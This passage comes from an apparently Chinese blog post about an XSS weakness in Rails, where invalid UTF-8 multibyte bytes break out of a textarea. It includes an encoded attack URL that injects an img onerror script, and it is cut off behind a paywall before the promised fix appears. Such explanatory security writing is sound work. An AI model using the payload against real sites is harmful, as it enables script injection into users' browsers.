The blog discusses a security vulnerability in Rails applications where an attacker can exploit UTF-8 multibyte characters to initiate an XSS attack through a textarea input. The attack is possible due to the inability of the `html_escape` method to handle UTF-8 multi-byte data effectively. A solution is provided by modifying the `html_escape` method to properly escape multibyte characters.
UTF-8的 multibyte特性:
1个文字是由复数个字节组成的.
Shift_JIS情况下,一个"あ"占2个字节.
"あ".tosjis.bytes.to_a #=>[130, 160]
utf-8情况下,一个"あ"占3个字节.
"あ".toutf8.bytes.to_a #=>[227, 129, 130]
攻击例:
ruby代码
<%= f.text_area :memo, :size =>"100x10" %>
1.http://example.com/...?memo=%c0%3c%2ftextarea%20%c0%3e%c0%3cimg%20src=1%20onerror=alert(0)//
[decode值 http://example.com/...?memo=�</textarea �>�<img src=1 onerror=alert(0)//]
解析后HTML代码
<
最低0.47元/天 解锁文章
扫一扫
2629
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
